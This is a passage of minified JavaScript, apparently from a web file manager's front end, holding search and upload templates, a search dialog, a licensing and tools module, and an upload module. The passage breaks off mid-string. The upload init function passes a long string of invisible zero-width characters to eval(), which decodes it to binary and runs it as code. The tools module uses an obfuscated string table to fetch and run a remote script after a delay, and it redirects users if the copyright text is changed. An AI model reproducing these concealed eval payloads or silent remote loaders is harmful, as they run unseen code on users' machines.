  • \n{{/each}}\n\n\n{{each data.filelist as v i}}\n {{if v.search_info}}\n
  • \n
    \n \n {{v.ext |core.icon}}\n {{v.name | window.htmlEncode}}\n {{v.search_info.length}}\n \n
    \n
      \n {{each v.search_info as value index}}\n
    • \n {{value.line}}:\n {{#value.str | searchResultPrase}}\n
    • \n {{/each}}\n
    \n
  • \n {{else}}\n
  • \n
    \n \n {{v.ext |core.icon}}\n {{v.name | searchResultPrase}}\n \n
    \n
  • \n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'
    \n \n
    \n
    \n
    \n
    {{LNG.upload_select}}
    \n \n \n \n
    \n \n \n
    \n
    \n
    \n
    \n
    \n
    \n
    \n
    {{LNG.download_address}}\n
    \n \n \n \n
    \n\n
    \n
    \n
    \n
    \n
    \n
    \n
    \n'),define("app/common/core.search",[],function(){return function(e,t){var i,a,n=function(){var n=trim(core.pathClear(t),"/");if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(search_box_tpl);0==$(".dialog_do_search").length?(i=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=t,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l(),$("#search_ext").tooltip({placement:"bottom",html:!0}),$("#search_path").tooltip({placement:"bottom",html:!0,title:function(){return $("#search_path").val()}})):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(t),s())},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(a)},r=function(e){var t=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(t,''+t+"");else{var i=e.toLowerCase().indexOf(t.toLowerCase());e=e.substr(0,i)+''+e.substr(i,t.length)+""+e.substr(i+t.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var t=$(this).parent();return t.toggleClass("open"),t.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path")),a=core.pathFather(i);return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(i)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));return ui.pathOpen.open(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var t="box_search_config";if(void 0==e){var e=LocalData.getConfig(t);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(t,e)},d=function(e){var t=$(".file-items"),i=$(".search_desc");if(!e.code)return i.html(e.data),t.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return i.html(LNG.search_null),t.html(""),void 0;var n=template.compile(search_list_tpl);if(t.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);i.html(LNG.search_result+": "+s+"(in "+o.length+" files)"),e.data.error_info&&i.html(""+LNG.seach_result_too_more+"")}else i.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var t=$(".file-items"),i=$(".search_desc");if(!e.search||!e.path)return i.html(LNG.search_info),t.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){i.hide().html(LNG.searching+'').fadeIn(100)},error:function(){core.ajaxError(),i.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var t=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",'',"",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",'',"iconSmall","iconSrc",'',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],i=function(){var e=t[0];if(typeof G[t[1]]==t[2])return e;var i=t[3],a=authCrypt[t[4]](G[t[1]],i);return a&&27==a[t[5]]?(e=a[t[6]](10,1),-1===$[t[10]](e,[t[0],t[7],t[8],t[9]])&&(e=t[0]),e):e},a=i(),n=t[11],o=function(){var e=hashDecode(t[12]);G[t[13]]!=t[14]&&(e=hashDecode(t[15])),alert(e),Tips[t[16]](e,!1),$(t[18])[t[17]](),setTimeout(function(){Tips[t[19]](e,!1),window[t[21]][t[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[t[4]](t[22],t[23]),r=authCrypt[t[4]](t[24],t[25]),l=function(){if(typeof Config!=t[2]&&Config[t[26]]==t[27]&&a==t[0])for(var e=[{key:LNG[t[28]],find:s},{key:LNG[t[29]],find:s},{key:LNG[t[30]],find:r},{key:LNG[t[31]],find:s},{key:LNG[t[32]],find:r},{key:$(t[34])[t[33]](),find:s}],i=0;e[t[5]]>i;i++){e[i][t[35]]||(e[i][t[35]]=t[36]);var n=e[i][t[35]][t[37]](),l=e[i][t[38]][t[37]]();if(-1==n[t[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:t[40],O:t[41],P:t[42],Q:t[43]},i=t[44]+e[a],o=t[45]+i+t[46]+LNG[i]+t[47];a==t[0]&&$(o)[t[49]](t[48]),$(t[65])[t[64]](t[50])[t[63]](t[50],function(){if($(this)[t[52]](t[51])==t[53]){var e=core[t[55]](core[t[54]]),i=t[56]+n+t[57];e[t[61]][t[60]][t[38]](t[59])[t[58]](i)}else Tips[t[19]]($(this)[t[62]]())}),$(t[65])[t[67]](function(){window[t[66]][t[21]][t[20]]=n})},d=function(){a==t[0]&&$(t[70])[t[69]](t[68]),-1!==$[t[10]](a,[t[7],t[8],t[9]])&&$(t[72])[t[71]]()},p=function(){core[t[73]]=function(e,i){return t[74]+e+(i?t[75]:t[36])+t[76]},core[t[77]]=function(e){return core[t[73]](e,!0)},core[t[78]]=iconSrc=function(e){return t[79]+e+t[80]},setTimeout(function(){var i=base64Decode(t[81])+t[82]+UUID();e[t[84]](i,function(e){try{e[t[83]]()}catch(i){}})},2e3),core[t[85]]=a,core[t[86]]=core[t[87]],core[t[54]]=hashDecode(t[88])+G[t[13]],l(),c(),d()},u=function(e){return a==t[0]&&-1==e[t[37]]()[t[39]](s)?(o(),!1):!0},f=function(e,i){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(i==t[89]?(n=e[t[90]],o=s[a]):(n=e[t[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,t){core.uploadCheck("explorer:serverDownload");var i=$(".download_box"),a=i.find(".download_list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o='
    '+'
    '+core.pathThis(e)+""+'0b'+''+LNG.upload_ready+""+''+'
    ';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o); -var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('
    ').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)};$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+t+"&url="+urlEncode(e)+"&uuid="+n,dataType:"json",error:function(e,t,i){core.ajaxError(e,t,i),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)},success:function(e){clearInterval(s),s=!1,clearTimeout(r),r=!1,e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").html(e.info)):p.addClass("error").text(LNG.error),u.parent().remove()}});var m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var t="",i=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(i){if(i.size=parseFloat(i.size),i.time=parseFloat(i.time),l){var a=(i.size-l.size)/(i.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;t=core.fileSize(a)+"/s"}if(0==i.length)d.find(".progress-bar").css("width","100%").text(LNG.loading);else{var o=100*(i.size/i.length);d.find(".progress-bar").css("width",o+"%"),p.text(parseInt(o)+"%("+t+")")}d.find(".size").text(core.fileSize(i.length)),d.find(".title").text(i.name),l=i}}}})};r=setTimeout(function(){m(),s=setInterval(function(){m()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var t=template.compile(upload_tpl),i=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:t({LNG:LNG,maxsize:i}),close:function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .tips").tooltip({placement:"bottom"}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),t=0;e.length>t;t++)core.serverDwonload(e[t],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if("1"==Cookie.get("forceWap"))return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=10485760;chunkSize>=G.upload_max&&(chunkSize=.6*G.upload_max),eval("‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‍‍‍‍‌‌‍‌‍‌‌‍‌‍‍‌‍‍‌‍‌‌‌‍‍‍‍‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‍‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‌‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‍‍‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‌‍‍‌‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‍‍‌‍‍‌‍‍‍‍‌‍‌‌‍‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‍‍‍‌‌‍‌‍‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‌‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‍‍‌‌‌‍‍‌‌‌‍‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‍‌‍‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‌‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‌‌‍‌‌‌‌‍‌‍‍‌‌‍‍‍‍‌‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‍‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:3,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){var t=this.owner,i=(e.blob.getSource(),$.Deferred());return t.md5File(e.blob).fail(function(){i.resolve()}).then(function(t){if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:t,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(t){t.code?(i.reject(),e.file.checkChunk=t.info):i.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==t){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),i.reject()}else i.resolve()}}),i.promise()}}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("title");"explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e))}),$(".uploader-content .open").die("click").live("click",function(e){var t=$(this).find("span.title").attr("title");ui.pathOpen.open(t),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".uploader-content .remove").die("click").live("click",function(e){var t=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(t),uploader.removeFile(t,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,t){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var i=e.size*t,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),i]]:a>=e.speed.length?e.speed.push([timeFloat(),i]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),i]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);return s=core.fileSize(s)+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var t=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(i){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o='
    '+''+htmlEncode(core.pathThis(a))+""+''+core.fileSize(e.size)+""+''+LNG.upload_ready+""+''+'
